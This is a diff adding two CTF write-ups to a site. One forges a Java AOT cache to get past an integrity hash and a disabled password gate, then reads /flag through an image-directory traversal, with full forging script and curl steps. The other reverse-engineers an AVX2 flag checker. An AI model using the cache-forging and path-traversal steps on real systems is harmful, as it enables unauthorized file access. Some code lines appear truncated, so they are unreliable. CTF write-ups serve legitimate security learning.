diff --git a/content/writeups/GPN_CTF_2026/leftover_leftovers/index.md b/content/writeups/GPN_CTF_2026/leftover_leftovers/index.md new file mode 100644 index 0000000..3e6b0ac --- /dev/null +++ b/content/writeups/GPN_CTF_2026/leftover_leftovers/index.md @@ -0,0 +1,260 @@ ++++ +title = "Leftover Leftovers" +date = 2026-06-24 +authors = ["Prasanna K S"] ++++ + +**Category:** Reverse Engineering and PWN +**Flag:** `GPNCTF{i_h0pE_7He_C4Ch3_Is_N3v3R_pR0vIDED_BY_11BR4RIE5}` + +--- + +## 1. Overview + +The handout supplied a jdk, a jar file, its cache.aot and a shell script to run the jar locally. + +The given challenge is a 2 stage java app, and one important thing to note here is all of it's classes are stripped and the cache contains the information. + +Stage 1 (`/cache` + `/init` on :1337) hands you the stage-2 AOT cache and will boot stage 2 +**from a cache you upload** — *if* a SHA-256 over every named class's constant-pool + method +bytecode still matches the original. Stage 2 has a file-read gate (`/set-image-dir`) bricked by +a `s -> false` lambda. You can't patch that lambda's bytecode (it's hashed). But the lambda is +*invoked through a hidden proxy class*, and `verifyStuff` **never hashes hidden classes**. So you +flip **one pointer** in the proxy's constant pool to make it call the *neighbouring* lambda +(`s -> password != null`, returns true). Hash unchanged → upload accepted → gate open → read `/flag`. + +``` +GET /cache → forge 1 byte → verify hash locally → POST /init → stage2 boots + → POST /set-image-dir (newPath="/") → PUT /products/flag → GET /images/flag → FLAG +``` + +--- + +## 2. Setup + +What you need in the working dir (all from the handout except cfr): + +| item | what it is | +|------|-----------| +| `my-jdk/` | the supplied **fastdebug OpenJDK 27** — the *only* JDK that boots these caches; ships the Serviceability Agent (`jdk.hotspot.agent`) | +| `cache.aot` (53 MB) | stage-2 AOT cache (the real app) | +| `outer-cache.aot` (38 MB) | stage-1 AOT cache (the upload server) | +| `leftovers2.jar` | app jar **with the `de.kitctf.*` classes stripped out** (they live only in the caches) | +| `exec.sh` | local launcher (reproduces the two-stage server) | +| `cfr-0.152.jar` | Java decompiler — `curl -O https://www.benf.org/other/cfr/cfr-0.152.jar` | + +```bash +mkdir -p dumptool/cp dumptool/classes forge/out exploit +``` + +--- + +## 3. Recover the stripped classes from the cache *(the enabling trick)* + +The cache stores HotSpot's *internal, rewritten* class metadata — **no `.class` files, no +`cafebabe`**. To read code we make a JVM load the classes from the cache, then use the +**Serviceability Agent (SA)** tool `ClassDump` to reconstitute real `.class` files, then decompile. + +`Loader.java` (create at repo root): +```java +import java.lang.foreign.*; import java.lang.invoke.MethodHandle; +public class Loader { + static final int PR_SET_PTRACER = 0x59616d61; + public static void main(String[] a) throws Throwable { + Linker l = Linker.nativeLinker(); + MethodHandle prctl = l.downcallHandle(l.defaultLookup().find("prctl").orElseThrow(), + FunctionDescriptor.of(ValueLayout.JAVA_INT, ValueLayout.JAVA_INT, + ValueLayout.JAVA_LONG, ValueLayout.JAVA_LONG, ValueLayout.JAVA_LONG, ValueLayout.JAVA_LONG)); + prctl.invoke(PR_SET_PTRACER, -1L, 0L, 0L, 0L); // "anyone may ptrace me" + for (String c : new String[]{ + "de.kitctf.gpn24.leftovers.Server","de.kitctf.gpn24.leftovers.State", + "de.kitctf.gpn24.leftovers.Product","de.kitctf.gpn24.leftovers.ImageStore"}) + Class.forName(c); // force-load from the cache + System.out.println("PID="+ProcessHandle.current().pid()); + Thread.sleep(3600000); // park so SA can attach + } +} +``` + +Dump procedure: +```bash +my-jdk/bin/javac -d dumptool/cp Loader.java + +# (a) boot a JVM that loads the inner classes from cache.aot, leave it parked +my-jdk/bin/java -XX:+UseG1GC -XX:+UseCompressedOops -Xmx3g \ + -XX:AOTCache=cache.aot -cp leftovers2.jar:dumptool/cp Loader & +PID=$! # grab the PID it prints + +# (b) SA reconstitutes every loaded klass into a real .class file (jdk.hotspot.agent = a module → -m) +my-jdk/bin/java -Dsun.jvm.hotspot.tools.jcore.outputDir=dumptool/classes \ + -m jdk.hotspot.agent/sun.jvm.hotspot.tools.jcore.ClassDump $PID + +# (c) decompile +my-jdk/bin/java -jar cfr-0.152.jar dumptool/classes/de/kitctf/gpn24/leftovers/Server.class +``` + +For **stage 1**, repeat with `-XX:AOTCache=outer-cache.aot` and the `de.kitctf.gpn24.leftovers2.*` +class names (`OuterServer, AotCache, ArchiveReader, ConstantPoolView, InstanceKlassView, +MethodView, CompactHashtableReader, …`) → output into `dumptool/classes2`. These are the +challenge author's own cache-parser classes; you reuse them as a local hash oracle. + +--- + +## 4. The bug, and why the obvious patch is rejected + +Decompiled `Server` → `/set-image-dir`: +```java +context.bodyValidator(SetImageDir.class) + .check(s -> s.password != null, "Password must be present") // lambda$main$14 + .check(s -> false, "Password login is currently disabled") // lambda$main$15 <-- always false + .check(s -> Files.exists(s.newPath) && Files.isDirectory(s.newPath), "Path must exist and be a directory") + .get(); +state.getImages().setFolderPath(setImageDir.newPath()); // set image dir to ANY existing dir +``` +Combined with `PUT /products/{name}` + `GET /images/{name}` (returns `imagesDir/`), if you +can set `imagesDir=/` and register a product `flag`, then `GET /images/flag` returns `/flag`. + +The blocker is the middle check `s -> false` (= `lambda$main$15`). Its cache bytecode is +`03 b8 11 00 b0` (`iconst_0; invokestatic Boolean.valueOf; areturn` → **false**). The "obvious" +fix — flip `03`→`04` at `cache.aot:0x1f05a88` — **works locally but is rejected on upload**, because +stage 1's `OuterServer.verifyStuff` hashes every method's bytecode: + +```java +for (InstanceKlassView k : aotCache.classIndex() sorted by name) // NAMED classes only + for (MethodView m : k.methods() sorted by address) { + md.update(...codeSize, flags, maxLocals, maxStack...); + md.update(m.constMethod().bytecode()); // <-- bytecode IS hashed + md.update(cp[nameIndex], cp[sigIndex]); + } +``` +Original total = `7aa5a496dde0fd1be5ef18ef2d5bf8acea749bf5647e31d34d4c0f0707bae5a3`; `/init` accepts +only if your upload hashes to exactly this. So: **change behaviour without touching anything hashed.** + +--- + +## 5. The forge: redirect the hidden proxy (1 byte, hash-invariant) + +`verifyStuff` iterates `classIndex()` = the **named system-dictionary classes**. But `s -> false` +isn't called directly — it's invoked through a **`LambdaMetafactory` hidden proxy** +(`Server$$Lambda+0x800000079`), and **hidden classes are not in the system dictionary**, so the +proxy's CP + bytecode are **never hashed**. The proxy's method is: +``` +2b c0 00 0c b8 01 00 b0 ; aload_1; checkcast; invokestatic ; areturn +``` +That `invokestatic` resolves at runtime through the **proxy's own constant pool**, against a +method-name `Symbol*`. Repoint that `Symbol*` from `lambda$main$15` (`return false`) to its +neighbour `lambda$main$14` (`return password != null`) and the gate now returns **true** for any +non-null password — with the hash byte-for-byte identical. + +### 5a. Find the two symbol pointers and the proxy's CP slot (SA) + +Re-park a loader, then run the two SA helpers (`forge/ProxyInspect.java`, +`forge/CpSym.java`) with the `dumptool/saflags.txt` flags. `CpSym` prints both symbol addresses +and the exact CP slot in the proxy that holds the `lambda$main$15` pointer: +``` +symbol lambda$main$15=0x801467080 lambda$main$14=0x801467098 (adjacent, 0x18 apart) +proxy079 CP addr=... + CP+0x.. = lambda$main$15 symbol (0x801467080) <-- PATCH THIS to 0x801467098 +``` + +### 5b. Locate that slot's **file offset** by searching the cache + +The value `0x801467080` appears **twice** in the file: once in the proxy's CP (free to edit) and +once in `Server`'s own CP at `0x1f009a0` (**hashed — do NOT touch**). So *search the file* and pick +the proxy occurrence — it is at **`0x293d9d8`**: +```bash +python3 - <<'PY' +import struct +d=open('cache.aot','rb').read() +hits=[i for i in range(len(d)-8) if struct.unpack_from(' ['0x1f009a0', '0x293d9d8'] (0x1f009a0=Server CP=hashed; 0x293d9d8=proxy=free) +PY +``` + +### 5c. Apply the 1-byte (8-byte pointer) edit + +`forge_proxy.py`: +```python +import struct, sys +src = sys.argv[1] if len(sys.argv)>1 else 'exploit/remote_cache.aot' +dst = sys.argv[2] if len(sys.argv)>2 else 'exploit/remote_forged.aot' +data = bytearray(open(src,'rb').read()) +off = 0x293d9d8 # proxy CP method-name Symbol* (hidden class, unhashed) +cur = struct.unpack_from(' lambda$main$14 +open(dst,'wb').write(data) +print(f"forged {dst}: {hex(off)} {hex(cur)} -> 0x801467098") +``` + +> Only the **low byte** physically changes (`0x80→0x98`) because the symbols are adjacent; it's an +> 8-byte pointer write but a 1-byte diff. Confirm with `cmp -l src forged` → a single line. + +--- + +## 6. Verify the forge locally **before** uploading + +**(a) Hash must still equal `7aa5a496…`** — rebuild stage 1's `verifyStuff` from the dumped parser +classes (`forge/VerifyHarness.java`): +```bash +my-jdk/bin/javac -cp dumptool/classes2 -d forge/out forge/VerifyHarness.java +my-jdk/bin/java -cp forge/out:dumptool/classes2 \ + de.kitctf.gpn24.leftovers2.VerifyHarness exploit/remote_forged.aot | tail -1 +# TOTAL=7aa5a496dde0fd1be5ef18ef2d5bf8acea749bf5647e31d34d4c0f0707bae5a3 <-- must match +``` +Live output (this run): +``` +TOTAL=7aa5a496dde0fd1be5ef18ef2d5bf8acea749bf5647e31d34d4c0f0707bae5a3 +``` + +**(b) Cache must still map** — boot the forged file with `Loader` + SA; no +`Unable to map shared spaces` (HotSpot doesn't CRC-check regions on load), and re-inspecting the +proxy now shows it pointing at `lambda$main$14`. + +--- + +## 7. Performing the exploit live. + +```bash +H=https://.gpn24.ctf.kitctf.de + +curl -s -m 120 "$H/cache" -o exploit/remote_cache.aot +sha256sum cache.aot exploit/remote_cache.aot # if equal -> reuse offset 0x293d9d8 as-is +``` +Live: both files hashed `0e3e91a88b6cb60f07141ee71e92bb51e12a55a5a329a2218dec58d14f9a4256` +(**remote == handout**, so the offset transfers directly). *If they differ, redo §3–§5 against +`remote_cache.aot` to re-derive the offset.* + +```bash +# 2) forge + verify +python3 forge_proxy.py exploit/remote_cache.aot exploit/remote_forged.aot +my-jdk/bin/java -cp forge/out:dumptool/classes2 \ + de.kitctf.gpn24.leftovers2.VerifyHarness exploit/remote_forged.aot | tail -1 # == 7aa5a496... + +# 3) upload the forged cache. On success stage 1 System.exit(0)s -> the TCP connection drops +# (curl exit 52 "empty reply" is EXPECTED and means SUCCESS), and exec.sh boots stage 2. +curl -s -m 180 -X POST "$H/init" -F 'cache.aot=@exploit/remote_forged.aot' \ + -w "\n[http %{http_code}, %{size_upload} up, %{time_total}s]\n" +# -> [http 100, 53792994 bytes up, 9.39s] then connection closed (exit 52) + +# 4) wait for stage 2 (Fridge tracker on GET /) +for i in $(seq 1 40); do + out=$(curl -s -m 8 "$H/"); echo "try $i: $out" + echo "$out" | grep -qi Fridge && { echo ">>> STAGE 2 UP"; break; }; sleep 6 +done +# -> try 1:

Fridge tracker

>>> STAGE 2 UP + +# 5) the bricked gate is now open: point imagesDir at "/" +curl -s -m 15 -X POST "$H/set-image-dir" -H 'Content-Type: application/json' \ + -d '{"password":"x","newPath":"/"}' -w "\n[http %{http_code}]\n" +# -> [http 200] (was "Password login is currently disabled" before the forge) + +# 6) register a product literally named "flag" (sanitizer keeps [A-Za-z0-9_-], so "flag" survives) +curl -s -m 15 -X PUT "$H/products/flag" -H 'Content-Type: application/json' \ + -d '{"name":"flag","quantity":1,"bestBefore":"2030-01-01T00:00:00","notAfter":"2030-01-01T00:00:00"}' +# -> Added product :) + +# 7) read imagesDir/flag == /flag +curl -s -m 15 "$H/images/flag" +# -> GPNCTF{i_h0pE_7He_C4Ch3_Is_N3v3R_pR0vIDED_BY_11BR4RIE5} +``` diff --git a/content/writeups/GPN_CTF_2026/my_favorite_ingredient/index.md b/content/writeups/GPN_CTF_2026/my_favorite_ingredient/index.md new file mode 100644 index 0000000..09daca2 --- /dev/null +++ b/content/writeups/GPN_CTF_2026/my_favorite_ingredient/index.md @@ -0,0 +1,254 @@ ++++ +title = "My Favorite Ingredient" +date = 2026-06-24 +authors = ["Prasanna K S"] ++++ + +**Category:** Reverse Engineering +**Flag:** `GPNCTF{juS7_ONe_0NstrUcTION5_Is_4LL_YoU_n3ED_MaY8e1239794fKfNdh}` + +--- + +## 1. Overview + +We are given a single 64‑bit ELF executable: + +``` +$ file my-favorite-ingredient +ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped + +$ checksec +PIE, NX, Partial RELRO, No canary (symbols present) +``` + +The program is a classic "flag checker": + +``` +$ ./my-favorite-ingredient AAAA +Flag must be 64 characters long. + +$ ./my-favorite-ingredient $(python3 -c 'print("A"*64,end="")') +Incorrect flag. +``` + +So the flag is exactly **64 bytes** long. Our job is to recover the one input +that prints `Correct flag!`. + +The challenge title ("my favorite ingredient") and the flag itself +(`juS7_ONe_0NstrUcTION5_Is_4LL_YoU_n3ED`) are a hint: the checker is written +almost entirely out of a handful of **AVX2 SIMD instructions** — "just one +instruction is all you need". That styling is meant to scare you off static RE. +It doesn't have to. + +--- + +## 2. Static analysis + +Only two interesting functions exist: `main` and `verify_flag` +(plus a helper `matvec_mul_vectorized`). + +### 2.1 `main` + +```asm +; argv[1] length must be 64 +call strlen ; cmp $0x40, %rax + +lea 0x2a534(%rip), %rsi ; -> 0x31170 (source data) +lea 0x80(%rsp), %rbx +mov $0x1000, %edx ; 0x1000 = 4096 bytes +call memcpy ; copy a 4096-byte blob onto the stack + +vmovups 0x2b512(%rip), %zmm0 ; -> 0x32170 (64 bytes) +vmovups %zmm0, 0x40(%rsp) ; copy 64-byte "target" onto the stack + +lea 0x40(%rsp), %rdi ; flag bytes +mov $0x40, %esi ; length = 64 +call verify_flag ; verify_flag(flag, 64, matrix@0x80, target@0x40) +``` + +Two static data regions matter: + +| Region | File offset | Size | Meaning | +|--------|-------------|------|---------| +| Matrix `M` | `0x31170` | `0x1000` = 64×64 bytes | a 64×64 byte matrix | +| Target `T` | `0x32170` | `0x40` = 64 bytes | the expected output | + +`verify_flag` is called as `verify_flag(rdi=flag, rsi=64, rdx=M, rcx=T)`. + +### 2.2 `verify_flag` — stage 1 (per-byte affine) + +The first block is pure AVX2 on the 64 input bytes: + +```asm +vmovdqu (%rdi), %ymm0 ; load input +... +vpmullw ymm3, ... ; ymm3 = 0x00c5 broadcast -> multiply by 197 +vpand ymm4, ... ; ymm4 = 0x00ff broadcast -> keep low byte +vpackuswb ... +vpaddb ymm2, ... ; ymm2 = 0x65 broadcast -> add 101 +``` + +The `vpunpck*/vpmullw/vpand/vpackuswb` dance is just a vectorized 8‑bit +multiply (16‑bit multiply, then truncate to the low 8 bits). Stripped of SIMD, +stage 1 is a simple per‑byte **affine map mod 256**: + +``` +t[i] = (197 * flag[i] + 101) mod 256 +``` + +The constants come straight from `.rodata`: + +``` +0x31020: c5 00 ... -> multiplier 0xC5 = 197 +0x31040: ff 00 ... -> mask 0x00FF +0x31060: 65 65 ... -> addend 0x65 = 101 +``` + +### 2.3 `verify_flag` — stage 2 (matrix–vector product) + +The transformed vector `t` is then fed to `matvec_mul_vectorized(M, t, out)`: + +```asm +lea 0x40(%rsp), %rsi ; t (stage-1 output) +mov %rdx, %rdi ; M (the 64x64 matrix) +mov %rsp, %rdx ; out +call matvec_mul_vectorized +``` + +Inside, each vector byte `v` is first run through another affine +`a = (19*v + 223) mod 256` (note the `lea (%rax,%rax,2)` → ×3, `lea (%rax,%rcx,4)` +→ ×13… giving ×19, then `add $0xdf` → +223), and then its 8 bits are +broadcast to lane masks (`vpbroadcastd`) and used to conditionally accumulate +matrix rows. The net effect is an ordinary **matrix–vector product mod 256**. + +### 2.4 `verify_flag` — stage 3 (the comparison) + +The result is compared, byte by byte, against the **bitwise complement** of the +target: + +```asm +mov (%rbx), %cl +not %cl ; cl = ~T[0] +cmp %cl, (%rsp) ; out[0] == ~T[0] ? +jne fail +... (repeated 64 times) +``` + +So the accept condition is simply: + +``` +out[i] == (~T[i]) & 0xff for all i in 0..63 +``` + +--- + +## 3. The key insight: the whole checker is affine over ℤ/256 + +Compose the stages: + +* Stage 1: `t = a1 ⊙ flag + b1` (per‑byte affine) +* Stage 2: `out = M' · t + b2` (matrix multiply + affine, all mod 256) + +A composition of affine maps is affine. Therefore the *entire* checker, as a +function of the 64 input bytes, is: + +``` +out = A · flag + c (mod 256) +``` + +for some **64×64 matrix A** and **constant vector c**, both fixed by the binary. +We never need to figure out `A` and `c` analytically — we can just **measure** +them, treating `verify_flag` as a black box. + +The win condition is `out = ~T`, so we must solve the linear system: + +``` +A · flag = (~T) − c (mod 256) +``` + +--- + +## 4. Exploitation + +### 4.1 Measuring `A` and `c` with GDB + +`verify_flag` writes its 64‑byte output to `[rsp]` right before the comparison +loop (at offset `0x1209` from the function/base). We drive GDB in batch mode: + +1. Break at `verify_flag`, overwrite the 64 input bytes in memory with a chosen + probe vector via `set *(char*)($rdi + i) = b`. +2. Break at `base + 0x1209` (right after `matvec` returns) and dump + `x/64xb $rsp` — the raw output vector. + +Because the map is affine: + +* **Constant `c`:** feed the all‑zero vector → output is `c`. +* **Column `j` of `A`:** feed the unit vector `e_j` (1 in position `j`) → + output is `A·e_j + c`, so column `j = output − c (mod 256)`. + +That's `1 + 64 = 65` GDB runs to fully recover `A` and `c`. + +```python +def query(flag_bytes): # run binary under gdb, return out[64] + gdb: break verify_flag; patch rdi+i = b + break *($base + 0x1209); x/64xb $rsp + +b_const = query(bytes(64)) # c +for i in range(64): # columns of A + e = bytearray(64); e[i] = 1 + col = (query(e) - b_const) % 256 +``` + +### 4.2 Reading the target from the binary + +The target `T` lives at file offset `0x32170`; the accept condition wants +`~T`: + +```python +target = data[0x32170:0x32170+64] +not_target = bytes(~b & 0xff for b in target) +``` + +### 4.3 Solving `A · flag = (~T) − c (mod 256)` + +256 = 2⁸ is not a field, and `A` is generally singular mod 2, so we can't just +invert. The standard trick is **Hensel lifting** (2‑adic / bit‑by‑bit lifting): + +1. Solve the system **mod 2** with Gaussian elimination over GF(2) — this fixes + the lowest bit of every unknown. +2. Lift mod 2 → 4 → 8 → … → 256. At step `k`, compute the residual + `r = (rhs − A·x) mod 2^{k+1}`, shift it down by `k`, and solve that + reduced GF(2) system to obtain bit `k` of the solution. +3. After 8 lifts, `x mod 256` is the full solution = the flag. + +```python +x = solve_mod2(M, rhs) # bit 0 +for k in range(1, 8): # bits 1..7 + res = [(rhs[i] - (A·x)[i]) % (1<<(k+1)) for i in range(64)] + delta = solve_mod2(M, [r >> k for r in res]) + x = [(x[j] + (delta[j] << k)) for j in range(64)] +flag = bytes(v % 256 for v in x) +``` + +### 4.4 Result + +``` +$ python3 exploit.py +[+] Flag: b'GPNCTF{juS7_ONe_0NstrUcTION5_Is_4LL_YoU_n3ED_MaY8e1239794fKfNdh}' + +$ ./my-favorite-ingredient 'GPNCTF{juS7_ONe_0NstrUcTION5_Is_4LL_YoU_n3ED_MaY8e1239794fKfNdh}' +Correct flag! +``` + +--- + +## 5. Takeaways + +* The SIMD obfuscation is cosmetic. Underneath the `vpmullw / vpand / + vpackuswb / vpbroadcastd` noise, the checker is a plain **affine + transformation over ℤ/256**: `out = A·flag + c`. +* Any affine/linear checker can be recovered as a black box by probing with the + **zero vector** (constant term) and the **unit vectors** (matrix columns) — + no need to reverse the math by hand. +* Solving linear systems mod a prime power (here 2⁸) is done with **Hensel / + 2‑adic lifting**: solve mod 2, then lift one bit at a time. \ No newline at end of file